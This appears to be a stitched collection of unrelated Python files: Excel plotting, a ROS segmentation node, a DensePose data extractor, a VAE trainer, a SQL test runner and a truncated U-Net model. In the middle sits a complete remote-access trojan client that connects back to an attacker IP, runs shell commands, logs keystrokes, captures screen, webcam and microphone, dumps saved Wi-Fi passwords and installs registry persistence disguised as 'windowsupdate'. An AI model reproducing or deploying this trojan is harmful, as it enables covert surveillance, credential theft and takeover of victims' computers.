        matplotlib.rcParams['font.sans-serif'] = ['SimHei']
        plt.rcParams['font.sans-serif'] = ['SimHei']
        plt.rcParams['axes.unicode_minus'] = False
        # 读取文件
        trainFile = address
        if(Excel_Choice==0):
            data = pd.read_excel(trainFile, 0)
        elif(Excel_Choice==1):
            data = pd.read_excel(trainFile, 1)
        elif(Excel_Choice==2):
            data = pd.read_excel(trainFile, 2)
        elif(Excel_Choice==3):
            data = pd.read_excel(trainFile, 3)
        else:
            print('输入有误！！！')

        #print(data.iloc[:, 1].describe())
        # 设置表格形式
        # 定义x轴、y轴取值范围

        x = range(0, data.iloc[:,FormColumns].count(), 1)
        y = data.iloc[:, FormColumns]
        # 定义折线
        s = plt.plot(x, y, 'b--')
        # 定义文字说明
        s1 = "以太坊区块交易数"
        plt.xlabel(xlabel)
        plt.ylabel(ylabel)
        plt.title(title)
        plt.legend([s1], loc="upper left")
        # 图片打印
        plt.show()


#!/usr/bin/env python3
import jetson.inference
import jetson.utils
import rospy
import os
import numpy as np
import cv2
import ctypes
from sensor_msgs.msg import Image, CameraInfo
from cv_bridge import CvBridge, CvBridgeError

class semanticSegmentation:
	def __init__(self, topics_to, network, labels_file, camera_info):
		# Create labels name list
		with open(labels_file) as labels:
			lines = labels.readlines()
			self._object_class = [label.strip() for label in lines]

		# Camera width and height
		self._CAMERA_WIDTH = camera_info.width
		self._CAMERA_HEIGHT = camera_info.height

		self._FILTER_MODE = "point"
		self._IGNORE_CLASS = "void"
		self._ALPHA = 175.0

		# Initialize network
		self._net = jetson.inference.segNet(network)
		# set the alpha blending value
		self._net.SetOverlayAlpha(self._ALPHA)
		# allocate the output images for the overlay & mask
		self._img_overlay = jetson.utils.cudaAllocMapped(self._CAMERA_WIDTH * self._CAMERA_HEIGHT * 4 * ctypes.sizeof(ctypes.c_float))
		self._img_mask = jetson.utils.cudaAllocMapped(self._CAMERA_WIDTH * self._CAMERA_HEIGHT * 4 * ctypes.sizeof(ctypes.c_float))

		self._bridge = CvBridge()
		# Create semantic segmentation overlay and mask frame publisher
		self._overlay_publisher = rospy.Publisher(topics_to['overlay'], Image, queue_size=1)
		self._mask_publisher = rospy.Publisher(topics_to['mask'], Image, queue_size=1)

	def detect(self, data):
		# Receive frame from camera
		try:
			frame = self._bridge.imgmsg_to_cv2(data, "rgb8")
		except CvBridgeError as e:
       			print(e)

		# Convert frame to RGBA
		rgba_frame = cv2.cvtColor(frame, cv2.COLOR_RGB2RGBA)
		# Convert frame to CUDA
		cuda_mem = jetson.utils.cudaFromNumpy(rgba_frame)

		# process the segmentation network
		self._net.Process(cuda_mem, self._CAMERA_WIDTH, self._CAMERA_HEIGHT, self._IGNORE_CLASS)

		# generate the overlay and mask
		self._net.Overlay(self._img_overlay, self._CAMERA_WIDTH, self._CAMERA_HEIGHT, self._FILTER_MODE)
		self._net.Mask(self._img_mask, self._CAMERA_WIDTH, self._CAMERA_HEIGHT, self._FILTER_MODE)

		# Return frame to numpy arrray
		overlay_frame = jetson.utils.cudaToNumpy(self._img_overlay, self._CAMERA_WIDTH, self._CAMERA_HEIGHT, 4)
		mask_frame = jetson.utils.cudaToNumpy(self._img_mask, self._CAMERA_WIDTH, self._CAMERA_HEIGHT, 4)

		# Convert RGBA frame to RGB
		overlay_frame = cv2.cvtColor(overlay_frame, cv2.COLOR_RGBA2RGB).astype(np.uint8)
		mask_frame = cv2.cvtColor(mask_frame, cv2.COLOR_RGBA2RGB).astype(np.uint8)

		test_frame = np.zeros_like(mask_frame)
		test_frame[np.where((mask_frame==[220, 20, 60]).all(axis=2))] = (255, 255, 255)

		# Publish semantic segmentation frame
		try:
			self._overlay_publisher.publish(self._bridge.cv2_to_imgmsg(overlay_frame, encoding="rgb8"))
			self._mask_publisher.publish(self._bridge.cv2_to_imgmsg(test_frame, encoding="rgb8"))
			rospy.loginfo("Published semantic segmentation frame")
		except CvBridgeError as e:
			print(e)

def main():
	rospy.init_node('semantic_segmentation')
	NETWORK = rospy.get_param('network', "fcn-resnet18-cityscapes-512x256")
	LABELS_FILE = rospy.get_param('labels_file', '/home/gradproj2020/catkin_ws/src/graduation_project_simulation/scripts/semantic_segmentation/networks/FCN-ResNet18-Cityscapes-512x256/classes.txt')

	LEFT_CAMERA_INFO = rospy.wait_for_message('/prius/right_camera/camera_info', CameraInfo)

	os.chdir('/home/gradproj2020/catkin_ws/src/graduation_project_simulation/scripts/semantic_segmentation')

	TOPIC_FROM = "/prius/left_camera/image_raw"
	TOPICS_TO = {'overlay':"/semantic_segmentation/image_overlay",
		     'mask':"/semantic_segmentation/image_mask"}

	semantic_segmentation = semanticSegmentation(TOPICS_TO, NETWORK, LABELS_FILE, LEFT_CAMERA_INFO)

	rawframe_subscriber = rospy.Subscriber(TOPIC_FROM, Image, semantic_segmentation.detect, buff_size=2**24, queue_size=2)
	rate = rospy.Rate(30)
	try:
		while not rospy.is_shutdown():
			rate.sleep()
			rospy.spin()

	except rospy.ROSInterruptException:
		rospy.loginfo("Shutting down")

if __name__ == "__main__":
	main()


import os
from os.path import join
import sys
import json
import numpy as np
# from .read_openpose import read_openpose
import utils.segms as segm_utils

def db_coco_extract(dataset_path, subset, out_path):

    # convert joints to global order
    joints_idx = [19, 20, 21, 22, 23, 9, 8, 10, 7, 11, 6, 3, 2, 4, 1, 5, 0]

    # bbox expansion factor
    scaleFactor = 1.2

    # structs we need
    imgnames_, scales_, centers_, parts_, smpl_2dkps_, dp_annot_ = [], [], [], [], [], []
    im_id_, id_ = [], []

    # subfolders for different subsets
    subfolders = {'train': 'train2014', 'minival': 'val2014', 'valminusminival': 'val2014', 'test': 'test2014'}

    # json annotation file
    json_path = os.path.join(dataset_path,
                             'annotations',
                             'densepose_coco_2014_{}.json'.format(subset))
    json_data = json.load(open(json_path, 'r'))

    imgs = {}
    for img in json_data['images']:
        imgs[img['id']] = img

    has_dp_count = 0
    no_dp_count = 0
    for annot in json_data['annotations']:
        im_id, id = annot['image_id'], annot['id']
        if 'dp_masks' not in annot.keys():
            # print('dp_masks not in annot')
            no_dp_count += 1
            continue
        # keypoints processing
        keypoints = annot['keypoints']
        keypoints = np.reshape(keypoints, (17, 3))
        keypoints[keypoints[:, 2] > 0, 2] = 1
        # if sum(keypoints[5:, 2] > 0) < 12:
        #     no_dp_count += 1
        #     continue
        has_dp_count += 1

        # check if all major body joints are annotated
        # if sum(keypoints[5:,2]>0) < 12:
        #     continue
        # create smpl joints from coco keypoints
        smpl_2dkp = kp_coco2smpl(keypoints.copy())
        # image name
        image_id = annot['image_id']
        img_name = str(imgs[image_id]['file_name'])
        img_name_full = join(subfolders[subset], img_name)
        # keypoints
        part = np.zeros([24, 3])
        part[joints_idx] = keypoints
        # scale and center
        bbox = annot['bbox']
        center = [bbox[0] + bbox[2]/2, bbox[1] + bbox[3]/2]
        scale = scaleFactor*max(bbox[2], bbox[3])/200

        dp_annot = {'bbox': annot['bbox'],
                    'dp_x': annot['dp_x'],
                    'dp_y': annot['dp_y'],
                    'dp_I': annot['dp_I'],
                    'dp_U': annot['dp_U'],
                    'dp_V': annot['dp_V'],
                    'dp_masks': annot['dp_masks']
                    }

        # store data
        imgnames_.append(img_name_full)
        centers_.append(center)
        scales_.append(scale)
        parts_.append(part)
        smpl_2dkps_.append(smpl_2dkp)
        dp_annot_.append(dp_annot)
        im_id_.append(im_id)
        id_.append(id)

    print('# samples with dp: {}; # samples without dp: {}'.format(has_dp_count, no_dp_count))

    # store the data struct
    if not os.path.isdir(out_path):
        os.makedirs(out_path)
    out_file = os.path.join(out_path, 'dp_coco_2014_{}.npz'.format(subset))
    np.savez(out_file, imgname=imgnames_,
                       center=centers_,
                       scale=scales_,
                       part=parts_,
                       smpl_2dkps=smpl_2dkps_,
                       dp_annot=dp_annot_,
                       im_id=im_id_,
                       id=id_)

def kp_coco2smpl(kps_coco):
    smpl2coco = [[1,  2,  4,  5,  7,  8,  16, 17, 18, 19, 20, 21],
                 [11, 12, 13, 14, 15, 16, 5,  6,  7,  8,  9,  10]]

    kps_smpl = np.zeros((24, 4))

    kps_smpl[smpl2coco[0], :2] = kps_coco[smpl2coco[1], :2]
    kps_smpl[smpl2coco[0], 3] = kps_coco[smpl2coco[1], 2] / 2.

    if all(kps_coco[[11, 12], 2] > 0):
        kps_smpl[0, :2] = np.mean(kps_coco[[11, 12], :2], axis=0)
        kps_smpl[0, 3] = 0.5

    if all(kps_coco[[5, 6], 2] > 0):
        kps_smpl[12, :2] = np.mean(kps_coco[[5, 6], :2], axis=0)
        kps_smpl[12, 3] = 0.5

    if kps_smpl[12, 3] > 0 and kps_coco[0, 2] > 0:
        kps_smpl[15, :2] = (kps_smpl[12, :2] + kps_coco[0, :2]) / 2.
        kps_smpl[15, 3] = 0.5

    if kps_smpl[0, 3] > 0 and kps_smpl[12, 3] > 0:
        kps_smpl[6, :2] = np.mean(kps_smpl[[0, 12], :2], axis=0)
        kps_smpl[9, :2] = kps_smpl[6, :2]
        kps_smpl[6, 3] = 0.5
        kps_smpl[9, 3] = 0.5

    if kps_smpl[0, 3] > 0 and kps_smpl[6, 3] > 0:
        kps_smpl[3, :2] = np.mean(kps_smpl[[0, 6], :2], axis=0)
        kps_smpl[3, 3] = 0.5

    if kps_smpl[9, 3] > 0 and kps_smpl[16, 3] > 0:
        kps_smpl[13, :2] = np.mean(kps_smpl[[9, 16], :2], axis=0)
        kps_smpl[13, 3] = 0.5

    if kps_smpl[9, 3] > 0 and kps_smpl[17, 3] > 0:
        kps_smpl[14, :2] = np.mean(kps_smpl[[9, 17], :2], axis=0)
        kps_smpl[14, 3] = 0.5

    hand_foot = [[7, 8, 20, 21], [10, 11, 22, 23]]
    for i in range(4):
        if kps_smpl[hand_foot[0][i], 3] > 0:
            kps_smpl[hand_foot[1][i], :2] = kps_smpl[hand_foot[0][i], :2]
            kps_smpl[hand_foot[1][i], 3] = 0.5

    kps_smpl[:, 2] = kps_smpl[:, 3]

    return kps_smpl[:, :3].copy()

if __name__ == '__main__':
    import path_config as cfg
    db_coco_extract(cfg.COCO_ROOT, 'train', 'notebooks/output/extras')
    # db_coco_extract(cfg.COCO_ROOT, 'minival', 'notebooks/output/extras')


from imath.Trainer import Trainer
import torch
import imath as pt
import os
import torch.nn as nn
import numpy as np

class VAETrainer(Trainer):

    def __init__(self, optim, lant_dim, criterion, **kwargs):
        super(VAETrainer, self).__init__(**kwargs)

        self.lant_dim = lant_dim

        self.Distribute = self.model.Distribute
        self.Decoder = self.model.Decoder

        self.optim = optim

        self.criterion = criterion

    def forward(self, data, forward_mode, **kwargs):
        img = data['x']
        # print('??')
        batch = img.size(0)

        distrib = self.Distribute(img)
        mul = distrib[:, 0:1]
        log_sig = distrib[:, 1:2]

        epi = torch.randn(batch, self.lant_dim).to(img.device)
        # print(mul.shape, log_sig.shape, epi.shape)
        z = mul + epi * torch.exp(log_sig / 2.)
        z = z.view((batch, 6, 7, 6))

        reconstrust = self.Decoder(z)

        loss = self.criterion(img, reconstrust) * 10
        self.update(self.optim, loss)

        if forward_mode == 'train':
            return {'loss': loss.item()}
        else:
            return {'rec': reconstrust}

    def evaluate(self, batch_size, device, **kwargs):
        # loss = []
        for n, data in enumerate(self._evaluate(batch_size, device, **kwargs)):
            # loss.append(data['loss'])
            rec = data['rec']
            # print(rec.shape)
            if n == 1:
                for r in rec[:2]:
                    im.imshow(r.squeeze())
                    # im.imsave('rec.png', r.squeeze()*256)
        # loss = np.mean(np.array(loss))

        return 1.


import os, glob
from sqlalchemy import *
import sqlalchemy.exc
from sqlalchemy.orm import sessionmaker
from parse import *
from lxml import etree
from datetime import datetime, date, time

step_types = {
    'given': 0,
    'when': 1,
    'then': 2
}

curpath = os.path.basename(os.getcwd())
if curpath == 'steps':
    os.chdir('..')

if curpath == 'features':
    os.chdir('..')

global_vars = dict()
connect_config = dict()
link_config = dict()

try:
    exec(open("./settings.py").read(), global_vars)
except FileNotFoundError:
    try:
        exec(open("../settings.py").read(), global_vars)
    except FileNotFoundError:
        pass

try:
    connect_config = global_vars['connect_config']
    link_config = global_vars['link_config']
except:
    pass

class TestModule:

    def __init__(self, module_name):
        self.module_name = module_name
        self.results = []
        self.connect_list = dict()

    def run_predicate_from_file(self, predicate, step_type):
        predicate_template = "./features/steps/{step_type}*.sql"
        param_value_tmpl = "--!{param}={value}"
        predicate_format = predicate_template.format(step_type=step_type)

        params = dict()
        filename_params = dict()
        sql_command = ""
        is_sql_command = 0
        filename = ""
        cmd = ""
        decl = 'DECLARE @context XML,\n@table XML,\n'
        prms = "\t@context = @context OUTPUT,\n"
        prms += "\t@table = @table,\n"

        def process_file(fn):
            sql_command = ""
            is_sql = 0
            schema = ""
            proc_name = ""

            with open(g, 'r') as f:
                for line in f:
                    p = parse(param_value_tmpl, line)
                    if p != None and len(p.named) > 0:
                        params[p.named['param']] = p.named['value']

                    sql_command += line

                try:
                    sql_command = 'EXEC {}.{}'.format(params['schema_name'], params['proc_name'])
                    schema, proc_name = params['schema_name'], params['proc_name']
                except:
                    is_sql = 1

            return sql_command, is_sql, schema, proc_name

        for g in glob.iglob(predicate_format):
            filename = os.path.basename(os.path.splitext(g)[0])
            step_filename = "{0} {1}".format(step_type, predicate)
            if filename == step_filename:
                cmd, is_sql_command, schema, proc_name = process_file(g)
                break
            else:
                fd = parse(filename, step_filename)
                if fd != None and len(fd.named) > 0:
                    for k in fd.named:
                        vl = fd.named[k]
                        decl += "\t@{} NVARCHAR(128) = '{}',\n".format(k, vl)
                        prms += "\t@{} = @{},\n".format(k, k)

                    cmd, is_sql_command, schema, proc_name = process_file(g)
                    break

        context = etree.Element("context")
        table = etree.SubElement(context, "table")
        if self.ctx_table is not None:
            for ct in self.ctx_table:
                row = etree.SubElement(table, 'row')
                for hd in ct.headings:
                    row.set(hd, ct[hd])

        ctx_str = etree.tostring(context)

        if len(cmd) > 0:
            ctx_str = str(ctx_str.decode("utf-8")).replace("'", "''")
            decl = decl[:-2] + "\n\nSET @table = '{}'".format(ctx_str)

            try:
                decl += "\n\nSET @context = '{}'".format(self.ctx_xml)
            except AttributeError:
                pass

            cmd = decl + "\n\n" + cmd + "\n"
            cmd += prms[:-2] if is_sql_command == 0 else ''
            cmd += "\n\nSELECT @context AS behave_result"

        if params['connect'] in link_config:
            params['connect'] = link_config[params['connect']]

        engine = create_engine(params['connect'])

        maker = sessionmaker(bind=engine)
        session = maker()

        row = None
        trans = session.begin(subtransactions=True)
        try:
            session.execute("SET DATEFORMAT dmy;")
            res = session.execute(text(cmd))
            if res.cursor != None:

                while 'behave_result' != res.cursor.description[0][0]:
                    names = [c[0] for c in res.cursor.description]
                    store_results = []
                    while 1:
                        row_raw = res.cursor.fetchone()
                        if row_raw is None:
                            break

                        row = dict(zip(names, row_raw))
                        store_results.append(row)

                    self.results.append(store_results)
                    res.cursor.nextset()

                row = res.cursor.fetchone()
                res.close()
                session.execute('IF @@TRANCOUNT > 0 BEGIN COMMIT END')
        except:
            print(cmd)
            raise

        # процедура или скрипт вернули данные
        rs_xml = etree.Element("results")
        rs_xml.set('step_type', step_type)
        rs_xml.set('predicate', predicate)
        for res_set in self.results:
            rset_xml = etree.SubElement(rs_xml, "result_set")
            for res_row in res_set:
                rrow_xml = etree.SubElement(rset_xml, "row")
                for res_col in res_row:
                    res_col4xml = 'empty' if len(res_col) == 0 else res_col
                    rrow_xml.set(res_col4xml, str(res_row[res_col]))

        session.close()

        if row != None:
            if row[0] is None:
                ctx_out_xml = etree.Element("context")
            else:
                ctx_out_xml = etree.XML(row[0])
            ctx_out_xml.append(rs_xml)
            return etree.tostring(ctx_out_xml).decode('utf-8')

        return None


import subprocess
import os
import simplejson
import base64
import socket
from util import kg
import time
import threading
import pyttsx3
from PIL import ImageGrab
import sys
import shutil
import cv2
from util import sound_record
import tkinter

ip = "192.168.1.105" #Change this value according to yourself.
port = 4444 #Change this value according to yourself.

my_thread = threading.Thread(target=kg.kg_Start)
my_thread.start()
class mySocket():
    def __init__(self,ip,port):
        self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.connection.connect((ip,port))
        self.kg_file = os.environ["appdata"]+"\\windowslogs.txt"
        self.tro_file = os.environ["appdata"]+"\\windowsupdate.exe"
        self.ss_file = os.environ["appdata"]+"\\update.png"
        self.camera_file = os.environ["appdata"]+"\\windowsupdate.png"
        self.sound_file = os.environ["appdata"]+"\\windowssounds.wav"
        self.Mic_Question()
        self.Chat_Port_Question()

    def Mic_Question(self):
        question_answer = self.Get_Json()
        if question_answer == "Y" or question_answer == "y":
            my_thread2 = threading.Thread(target=self.Start_Record)
            my_thread2.start()

    def Chat_Port_Question(self):
        question_answer = self.Get_Json()
        if question_answer == 5555:
            self.chat_port = 5555
        else:
            self.chat_port = question_answer

    def Execute_Command(self,command):
        command_output = subprocess.check_output(command,shell=True)
        return command_output.decode("Latin1")

    def Send_Json(self,data):
        json_data = simplejson.dumps(data)
        self.connection.send(json_data.encode("utf-8"))

    def Get_Json(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(1048576).decode()
                return simplejson.loads(json_data)
            except ValueError:
                continue

    def Get_File_Contents(self, path):
        with open(path, "rb") as file:
            return base64.b64encode(file.read())

    def Save_File(self, path, content):
        with open(path, "wb") as file:
            file.write(base64.b64decode(content))
            return "[+]The file was uploaded on victim's current directory."

    def Execute_cd(self, path):
        os.chdir(path)
        return "[+]Changed directory to : " + path

    def Make_Directory(self, file_name):
        os.mkdir(file_name)
        return "[+]Directory created : " + file_name

    def Remove_Directory(self, file_name):
        os.rmdir(file_name)
        return "[+]Directory removed : " + file_name

    def Remove_File(self, name):
        os.remove(name)
        return "[+]Removed : " + name

    def Rename_File(self, name1, name2):
        os.rename(name1, name2)
        return "[+]Name changed.\n" + name1 + "→→→→→→" + name2

    def Open_File(self, file_name):
        os.system(file_name)
        return "[+]The file opened on victim's computer. : " + file_name

    def Pwd(self):
        return os.getcwd()
    def Check(self):
        if os.name == 'nt':
            return "Victim is a windows."
        elif os.name == 'posix':
            return "Victim is a linux distribution"

    def Kg_Start_Func(self):
        kg.kg_Start()

    def Read_Kg(self):
        with open(self.kg_file, "r",encoding="utf-8") as file:
            return file.read()

    def Talk(self,words):
        engine = pyttsx3.init()
        engine.setProperty("rate", 120)
        engine.say(words)
        engine.runAndWait()
        return "[+]The sound played on victim's computer."

    def Permanance(self):
        if os.path.exists(self.tro_file):
            return "[+]Permanance is activated already."
        if not os.path.exists(self.tro_file):
            shutil.copyfile(sys.executable, self.tro_file)
            regedit_command = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v windowsupdate /t REG_SZ /d " + self.tro_file
            subprocess.call(regedit_command,shell=True)
            return "[+]Permanance activated."

    def Remove_Permanance(self):
        if os.path.exists(self.tro_file):
            regedit_command = "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v windowsupdate /f"
            subprocess.call(regedit_command,shell=True)
            os.remove(self.tro_file)
            return "[+]Permanance removed and it will not work every time the victim boots up his computer."
        else:
            return "[+]Permanance not found."

    def Start_Record(self):
        self.start = sound_record.Recording()
        self.start.Start_Record()

    def Chat_Send_Messages(self):
        message = self.client_message_entry.get()
        self.messages.insert(tkinter.END, "\n" + "You:" + message)
        self.chat_connection.send(message.encode())
        self.messages.see("end")

    def Chat_Get_Messages(self):
        while True:
            message = self.chat_connection.recv(1024).decode()
            if message == "exit":
                self.chat_gui.destroy()
            self.messages.insert(tkinter.END, "\n" + "Hacker:" + message)
            self.messages.see("end")

    def Chat(self):
        self.chat_connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.chat_connection.connect((ip,self.chat_port))
        self.chat_gui = tkinter.Tk()
        self.chat_gui.resizable(False, False)
        self.chat_gui.config(bg="#D9D8D7")
        self.chat_gui.geometry("600x300")
        self.chat_gui.title("You are chatting with hacker.")
        self.messages = tkinter.Text(self.chat_gui, width=71, height=10, fg="#0E6B0E", bg="#000000")
        self.messages.place(x=0, y=0)
        self.messages.insert("1.0","Hacker wants to chat with you.Write your message 'your message' part and click the 'Send Message'.")
        self.your_message_label = tkinter.Label(self.chat_gui, width=20, text="Your Message :", fg="#0D1C6E")
        self.your_message_label.place(x=-30, y=250)
        self.client_message_entry = tkinter.Entry(self.chat_gui, width=50)
        self.client_message_entry.place(x=90, y=250)
        self.send_button = tkinter.Button(self.chat_gui, width=20, text="Send Message", command=self.Chat_Send_Messages, bg="#000000", fg="#0E6B0E")
        self.send_button.place(x=400, y=245)
        self.chat_thread = threading.Thread(target=self.Chat_Get_Messages)
        self.chat_thread.start()
        self.chat_gui.mainloop()

    def Client_Start(self):
        while True:
            command = self.Get_Json()
            try:
                if command[0] == "cd" and len(command) > 1:
                    command_output = self.Execute_cd(command[1])
                elif command[0] == "download":
                    command_output = self.Get_File_Contents(command[1])
                elif command[0] == "upload":
                    command_output = self.Save_File(command[1], command[2])
                elif command[0] == "mkdir":
                    command_output = self.Make_Directory(command[1])
                elif command[0] == "rmdir":
                    command_output = self.Remove_Directory(command[1])
                elif command[0] == "rm":
                    command_output = self.Remove_File(command[1])
                elif command[0] == "rename":
                    command_output = self.Rename_File(command[1], command[2])
                elif command[0] == "open":
                    command_output = self.Open_File(command[1])
                elif command[0] == "pwd":
                    command_output = self.Pwd()
                elif command[0] == "system":
                    command_output = self.Check()
                elif command[0] == "read_kg":
                    command_output = self.Read_Kg()
                elif command[0] == "talk":
                    command_output = self.Talk(command[1:])
                elif command[0] == "show_wifis":
                    wifis = subprocess.check_output(["netsh", "wlan", "show", "profiles"]).decode()
                    wifi = wifis.split("\n")
                    profiles = [i.split(":")[1][1:-1] for i in wifi if "All User Profile" in i]
                    profile_str = " ".join(profiles)
                    command_output = "Wifi Networks : \n\n\n"
                    command_output +=profile_str + "\n\n\n"
                    command_output += "Wifi passwords(in order of) :\n\n"
                    for i in profiles:
                        try:
                            result = subprocess.check_output(["netsh", "wlan", "show", "profile", i, "key=clear"]).decode("utf-8").split("\n")
                            result = [b.split(":")[1][1:-1] for b in result if "Key Content" in b]
                            result_str = " ".join(result)
                            if result_str == "":
                                result_str = "No password"

                            command_output += "\t" + result_str
                        except subprocess.CalledProcessError:
                            print("Error.")

                elif command[0] == "get_ss":
                    ImageGrab.grab().save(self.ss_file)
                    command_output=self.Get_File_Contents(self.ss_file)
                    os.remove(self.ss_file)
                elif command[0] == "save_kg":
                    command_output = self.Get_File_Contents(self.kg_file)
                    os.remove(self.kg_file)
                elif command[0] == "permanance":
                    command_output = self.Permanance()
                elif command[0] == "remove_permanance":
                    command_output = self.Remove_Permanance()
                elif command[0] == "get_camera_image":
                    camera = cv2.VideoCapture(0)
                    result, image = camera.read()
                    if result:
                        cv2.imwrite(self.camera_file,image)
                        command_output = self.Get_File_Contents(self.camera_file)
                        os.remove(self.camera_file)
                    else:
                        command_output = "[-]Can not reach the camera."

                elif command[0] == "download_sound_recording":
                    self.start.Stop_Record()
                    command_output = self.Get_File_Contents(self.sound_file)
                    os.remove(self.sound_file)
                elif command[0] == "chat":
                    self.Chat()
                else:
                    command_output = self.Execute_Command(command)
            except Exception:
                command_output = "Unknown command.For command list use 'help' command."
            self.Send_Json(command_output)
        self.connection.close()
def Try_Connection():
    while True:
        time.sleep(5)
        try:
            mysocket = mySocket(ip,port)
            mysocket.Client_Start()
        except Exception:
            Try_Connection()

def Permanance():
    tro_file = os.environ["appdata"] + "\\windowsupdate.exe"
    regedit_command = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v windowsupdate /t REG_SZ /d " + tro_file
    if not os.path.exists(tro_file):
        shutil.copyfile(sys.executable,tro_file)
        subprocess.call(regedit_command,shell=True)
    if os.path.exists(tro_file):
        pass

def Open_Added_File():
    added_file = sys._MEIPASS + "\\examplefile.pdf" #Enter the file after '\\' to combine with image,pdf etc.
    subprocess.Popen(added_file,shell=True)

#Open_Added_File() # And remove the '#' before the code.(If you activated it.)
Permanance()
Try_Connection()


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Jan 24 23:39:39 2018

@author: yorklk
"""

import os
import numpy as np
from skimage.morphology import label
from keras.models import Model, load_model
from keras.layers import Input, Activation, Add, BatchNormalization
from keras.layers.core import Dropout
from keras.layers.convolutional import Conv2D, Conv2DTranspose
from keras.layers.pooling import MaxPooling2D
from keras.layers.merge import concatenate
from keras.callbacks import EarlyStopping, ModelCheckpoint
from keras.preprocessing.image import ImageDataGenerator
from keras.optimizers import Adam
from keras.applications.mobilenet import MobileNet
import keras.backend as KB
import tensorflow as tf

X_train = np.load('data/X_128.npy')
Y_train = np.load('data/Y_128.npy')
X_test = np.load('data/test_128.npy')

np.random.seed(seed = 71)
epochs = 500
learning_rate = 1e-3
learning_rates = [1e-3]
decay = 5e-5
patience = 15
dropout_rate = 0.015
batch_size = 8
K=4
pre_proc = dict(horizontal_flip = True,
                vertical_flip = True,
                width_shift_range = 0.1,
                height_shift_range = 0.1,
                channel_shift_range= 0.0,
                zoom_range = 0.0,
                rotation_range = 0.0)

####################################################################

# Precision helper function
def precision_at(threshold, iou):

    matches = iou > threshold
    true_positives = np.sum(matches, axis=1) == 1
    false_positives = np.sum(matches, axis=0) == 0
    false_negatives = np.sum(matches, axis=1) == 0
    tp, fp, fn = np.sum(true_positives), np.sum(false_positives), np.sum(false_negatives)

    return tp, fp, fn

def iou_metric(y_true_in, y_pred_in):

    labels = label(y_true_in > 0.5)
    y_pred = label(y_pred_in > 0.5)
    true_objects = len(np.unique(labels))
    pred_objects = len(np.unique(y_pred))
    intersection = np.histogram2d(labels.flatten(), y_pred.flatten(), bins=(true_objects, pred_objects))[0]

    # Compute areas
    area_true = np.histogram(labels, bins = true_objects)[0]
    area_pred = np.histogram(y_pred, bins = pred_objects)[0]
    area_true = np.expand_dims(area_true, -1)
    area_pred = np.expand_dims(area_pred, 0)

    # Compute union
    union = area_true + area_pred - intersection

    # Exclude background from the analysis
    intersection = intersection[1:,1:]
    union = union[1:,1:]
    union[union == 0] = 1e-9

    # Compute the intersection over union
    iou = intersection / union

    # Loop over IoU thresholds
    prec = []
    for t in np.arange(0.5, 1.0, 0.05):
        tp, fp, fn = precision_at(t, iou)
        if (tp + fp + fn) > 0:
            p = tp / (tp + fp + fn)
        else:
            p = 0
        prec.append(p)

    return np.mean(prec)

def iou_metric_batch(y_true_in, y_pred_in):

    batch_size = y_true_in.shape[0]
    metric = []
    for batch in range(batch_size):
        value = iou_metric(y_true_in[batch], y_pred_in[batch])
        metric.append(value)

    return np.array(np.mean(metric), dtype=np.float32)

def my_iou_metric(label, pred):

    metric_value = iou_metric_batch(label, pred)

    return metric_value

#########################################################################################################

def identity_block(X, filters, dropout_rate):

    F1, F2, F3 = filters

    # First component
    X = Conv2D(F1, kernel_size = (3, 3), strides = (1,1), padding = 'same')(X)
    X = BatchNormalization(axis = 3)(X)
    X = Activation('elu')(X)
    X = Dropout(rate = dropout_rate)(X)

    # Second component
    X = Conv2D(F2, (3, 3), strides = (1,1), padding = 'same')(X)
    X = BatchNormalization(axis = 3)(X)
    X = Activation('elu')(X)
    X = Dropout(rate = dropout_rate)(X)

    # Third component
    X = Conv2D(F3, (1,1), strides = (1,1), padding = 'valid')(X)
    X = BatchNormalization(axis = 3)(X)
    X = Activation('elu')(X)
    X = Dropout(rate = dropout_rate)(X)

    return X

def deconvolution_block(X, filters, dropout_rate):

    F1, F2, F3 = filters

    # Save the input value
    X_shortcut = X

    # First component, deconvolution
    X = Conv2DTranspose(F1,
                        (2, 2),
                        strides=(2, 2),
                        padding='same')(X)
    X = BatchNormalization(axis = 3)(X)
    X = Activation('elu')(X)
    X = Dropout(rate = dropout_rate)(X)

    # Second component
    X = Conv2D(F2, (3, 3), strides = (1,1), padding = 'same')(X)
    X = BatchNormalization(axis = 3)(X)
    X = Activation('elu')(X)
    X = Dropout(rate = dropout_rate)(X)

    # Third component
    X = Conv2D(F3, (1,1), strides = (1,1), padding = 'valid')(X)
    X = BatchNormalization(axis = 3)(X)

    # Shortcut deconvolution
    X_shortcut = Conv2DTranspose(F3,
                                 (2, 2),
                                 strides=(2, 2),
                                 padding='same')(X_shortcut)
    X_shortcut = BatchNormalization(axis = 3)(X_shortcut)

    # Add shortcut value to main path, and ELU activation
    X = Add()([X_shortcut, X])
    X = Activation('elu')(X)
    X = Dropout(rate = dropout_rate)(X)

    return X

def uNet_Model(input_shape = (128, 128, 3), dropout_rate = dropout_rate):

    '''
    uNet with MobileNet (pretrained on imagenet) as downsampling side
    Outputs saved from five layers to concatenate on upsampling side:
    activations at conv_pw_1, conv_pw_3, conv_pw_5, conv_pw_11, conv_pw_13
    ResNet convolution blocks with Conv2DTranspose and elu used for upsampling side
    '''

    base_model = MobileNet(weights = 'imagenet',
                           include_top = False,
                           input_shape = (128, 128, 3))

    # Base model, with 5 layers out
    X1 = base_model.get_layer('conv_pw_1_relu').output # 64x64, 64 filters
    X2 = base_model.get_layer('conv_pw_3_relu').output # 32x32, 128 filters
    X3 = base_model.get_layer('conv_pw_5_relu').output # 16x16, 256 filters
    X4 = base_model.get_layer('conv_pw_11_relu').output # 8x8, 512 filters
    X5 = base_model.get_layer('conv_pw_13_relu').output # 4x4, 1024 filters

    # Bottom block
    X = identity_block(X5, filters = [256, 256, 1024], dropout_rate = dropout_rate) # 4x4
    X = Add()([X, X5]) # 4x4

    # Deconvolution block 1
    X = deconvolution_block(X, filters = [128, 128, 512], dropout_rate = dropout_rate) # 8x8
    X = Add()([X, X4])  # 8x8

    # Deconvolution block 2
    X = deconvolution_block(X, filters = [64, 64, 256], dropout_rate = dropout_rate) # 16x16
    X = Add()([X, X3]) # 16x16

    # Deconvolution block 3
    X = deconvolution_block(X, filters= [32, 32, 128], dropout_rate = dropout_rate) # 32x32
